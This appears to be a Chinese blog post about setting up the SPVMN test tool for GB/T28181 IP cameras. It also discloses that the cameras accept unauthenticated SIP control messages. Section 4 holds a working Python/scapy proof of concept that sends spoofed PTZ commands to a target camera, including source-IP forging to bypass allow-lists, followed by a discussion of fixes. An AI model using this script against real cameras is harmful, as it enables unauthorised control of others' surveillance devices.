一、說明
這幾天都在做設備的協議分析,然后看到有個叫Spvmn的不懂要怎么操作才能觸發其操作過程,問了測試部的同事說也沒有測試文檔,自己研究了一下這里做個記錄。
按我現在理解,各廠商有自己的私有協議、ONVIF是世界標准協議、GB/T28181是國標;Onvif Test Tool是ONVIF協議實現的測試工具,而SPVMN是GB/T28181協議實現的測試工具。
二、環境搭建
IPC:首先需要一台支持GB/T28181(或者說有Spvmn配置)的IPC,這個是必然的。
Windows電腦:看spvmn里邊的文檔說只支持Windows,Linux沒試過。
JDK1.5:我使用JDK1.8該問頁面一直報錯,換成1.5才能成功訪問。下載地址點鏈接。
報錯:org.apache.jasper.JasperException: Unable to compile class for JSP
Spvmn工具下載地址:http://7dx.pc6.com/wwb5/SPVMN.zip
下載直接解壓到自己想要的目錄,該工具本質是一個tomcat,里邊部署了一個用於測試的jsp應用。和正常tomcat一樣到bin目錄點擊startup.bat啟動即可。
不過要注意,該tomcat默認使用8080端口,然后又啟了在5060開了一個監聽,所以在啟動前要注意確保本機的這兩個端口沒被占用。
tomcat啟動完成后,訪問后邊的鏈接,如果一切正常頁面應如下圖:http://127.0.0.1:8080/SIPStandardDebug/
三、測試操作
3.1 配置IPC上線
使用Onvif Test Tool等工具,我們都是在Onvif Test Tool等工具輸入IPC的用戶名密碼向IPC認證。但Spvmn反過來,是在IPC中輸入Spvmn的“用戶名密碼”,IPC向Spvmn認證。
這認證邏輯存在問題,我們后邊再說,這里主要是知道是這樣子就可以了。
Spvmn的“用戶名密碼”,存放在"webapps\SIPStandardDebug\WEB-INF\classes\SSDConfig.properties"中,主要找到這兩個節區的信息
找到這些信息后,打開IPC上的Spvmn配置頁面,把這些信息復制填到Spvmn頁面對應的框中,然后保存啟動即可。(Sip服務器就是裝Spvmn的那台電腦)
此時回到Spvmn頁面,依次點調測輔助面---鏈路管理,如無意外在彈出頁面中即可看到IPC成功上線。
3.2 測試操作
第一步,點擊“調測設備類型”選好要進行調測的設備,我們這里是IPC
第二步,在下面的各種操作通過點擊選中自己要測試的命令,比如我這里點“向左”
第三步,點選好命令后在左下窗格中即會呈現該命令將會發送的主體報文,點擊“發送消息”按鈕,該命令即會向IPC發出返回結果呈現在右下窗格中。
當然協議實現除了看有消息返回外,更主要的還是要看IPC是否真的執行了相應的動作。比如我們這里發了“向左”命令,IPC是否真的有向左旋轉。
四、Spvmn有可能淪為后門
4.1 原因分析
使用wireshark攔截數據包觀察交互過程如下圖。
IPC向Spvmn發起注冊(REGISTER)請求,Spvmn回復未認證(Unauthorized),IPC通過Digest形式提交用戶名密碼,Spvmn回復認證成功。而后就都是Spvmn向IPC發送各種命令操控IPC(MESSAGE)。
正如我們向服務器認證,后續請求都得帶session向服務器表明身份而服務器什么都不需要帶一樣;ipc向spvmn認證,那么后續請求上都是ipc向spvmn攜帶認證信息,而spvmn不會向ipc攜帶認證信息。(實際看來只有在上線注冊時ipc向spvmn帶了用戶名密碼,之后雙方就都沒帶會話信息)
既然不需要認證信息的話,那是不是說,只要IPC開啟spvmn,我偽裝成spvmn服務器向ipc發命令ipc都會執行。而經過實驗發現事實也是如此,測試代碼如下可自行使用自己環境進行測試。

from scapy.all import * # 偽裝成本地spvmn發包,這個其實沒必要 local_ip = "10.10.6.91" local_port = 5060 # 有些IPC限制只接收從spvmn頁面配置的ip發來的命令,此時可以通過偽造IP繞過 cheat_ip = "10.10.6.92" # 目標ipc ip和端口 # ipc_ip = "10.10.6.98" ipc_ip = "10.20.23.150" ipc_port = 5060 # 1--turn_left,2--zoom_out,3--zoom_out_use_scapy,4--stop command_flag = 3 # 讓IPC向左旋轉命令 def turn_left(): # 建立發送socket,和正常UDP數據包沒區別 send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) # 其實不需要綁定端口 # send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n""" """Call-ID: b73541b1e114a46ed90805e4da810973@0.0.0.0\r\n""" """CSeq: 1 MESSAGE\r\n""" """From: <sip:34020000002000000001@34020000>;tag=86660128_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n""" """To: <sip:34020000001320000001@34020000>\r\n""" """Max-Forwards: 70\r\n""" """Content-Type: Application/MANSCDP+xml\r\n""" """Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n""" """Monitor-User-Identity: operation=ptz,extparam=0\r\n""" """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_18249986822757\r\n""" """Content-Length: 169\r\n""" """\r\n""" """<?xml version="1.0"?>\r\n""" """<Control>\r\n""" """<CmdType>DeviceControl</CmdType>\r\n""" """<SN>11</SN>\r\n""" """<DeviceID>34020000001320000001</DeviceID>\r\n""" """<PTZCmd>A50F01021F0000D6</PTZCmd>\r\n""" """</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port)) print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 放大 def zoom_out(): send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n""" """Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n""" """CSeq: 1 MESSAGE\r\n""" """From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n""" """To: <sip:34020000001320000001@34020000>\r\n""" """Max-Forwards: 70\r\n""" """Content-Type: Application/MANSCDP+xml\r\n""" """Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n""" """Monitor-User-Identity: operation=ptz,extparam=0\r\n""" """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n""" """Content-Length: 169\r\n""" """\r\n""" """<?xml version="1.0"?>\r\n""" """<Control>\r\n""" """<CmdType>DeviceControl</CmdType>\r\n""" """<SN>11</SN>\r\n""" """<DeviceID>34020000001320000001</DeviceID>\r\n""" """<PTZCmd>A50F0110000010D5</PTZCmd>\r\n""" """</Control>""" ) send_sock.sendto(message.encode(), (ipc_ip, ipc_port)) print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 使用scapy偽造源IP地址 def zoom_out_use_scapy(): message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n""" """Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n""" """CSeq: 1 MESSAGE\r\n""" """From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n""" """To: <sip:34020000001320000001@34020000>\r\n""" """Max-Forwards: 70\r\n""" """Content-Type: Application/MANSCDP+xml\r\n""" """Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n""" """Monitor-User-Identity: operation=ptz,extparam=0\r\n""" """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n""" """Content-Length: 169\r\n""" """\r\n""" """<?xml version="1.0"?>\r\n""" """<Control>\r\n""" """<CmdType>DeviceControl</CmdType>\r\n""" """<SN>11</SN>\r\n""" """<DeviceID>34020000001320000001</DeviceID>\r\n""" """<PTZCmd>A50F0110000010D5</PTZCmd>\r\n""" """</Control>""" ) udp_packet = IP(src=cheat_ip, dst=ipc_ip) / UDP(dport=ipc_port) / message send(udp_packet) # 讓IPC停止所有動作命令 def stop(): send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) # 其實不需要綁定端口 # send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n""" """Call-ID: 0b9ed3de1558c60bc7ec2efc0dbdb744@0.0.0.0\r\n""" """CSeq: 1 MESSAGE\r\n""" """From: <sip:34020000002000000001@34020000>;tag=87210045_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n""" """To: <sip:34020000001320000001@34020000>\r\n""" """Max-Forwards: 70\r\n""" """Content-Type: Application/MANSCDP+xml\r\n""" """Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n""" """Monitor-User-Identity: operation=ptz,extparam=0\r\n""" """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_20090787679737\r\n""" """Content-Length: 169\r\n""" """\r\n""" """<?xml version="1.0"?>\r\n""" """<Control>\r\n""" """<CmdType>DeviceControl</CmdType>\r\n""" """<SN>11</SN>\r\n""" """<DeviceID>34020000001320000001</DeviceID>\r\n""" """<PTZCmd>A50F0100000000B5</PTZCmd>\r\n""" """</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port)) print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() if __name__ == "__main__": if command_flag == 1: turn_left() elif command_flag == 2: zoom_out() elif command_flag == 3: zoom_out_use_scapy() else: stop()
4.2 修復討論
方法一:
我們能不能在IPC端設定,只處理來自自身配置好的Spvmn的ip發來的命令?
答案是不能完全解決。實際發現有些廠商就做了ip限制,但因為使用的是UDP協議,IP完全是可以偽造的。
方法二:
在4.1的代碼的請求中我們可以看到有一些應該是spvmn服務器的一些信息,我們可不可以在IPC端通過提取這些信息與spvmn配置頁面中的進行比對一致才進行處理?
這應該是可以解決spvmn偽造的問題,但還存在的問題就是倘若spvmn服務器信息泄漏,那么IPC也會被控制;或者說此時spvmn的用戶名密碼也扮演了IPC用戶名密碼的角色,這增大了IPC的攻擊面。另外在spvmn功能就類似操作系統的telnetd和sshd,攻擊者侵入web后配置好spvmn就得到了一個天然的后門程序。
方法三:
4.1中我們說spvmn把認證方向搞反了,其實如果spvmn使用的是tcp而不是udp不用調整認證方向也能達到和方案二一樣的效果。因為如果使用tcp那就是ipc隨便選一個端口與spvmn服務器進行連接,該端口是ESTABLISHED狀態而不是LISTENING狀態,你新建一個進程試圖與該端口建立連接該端口是不予理會的;而倘若是udp沒有建立連接過程只能是監聽狀態,偽造的數據它也無法區分。但如果使用這種方法進行修復就不符合協議標准了,只是提一下。
參考: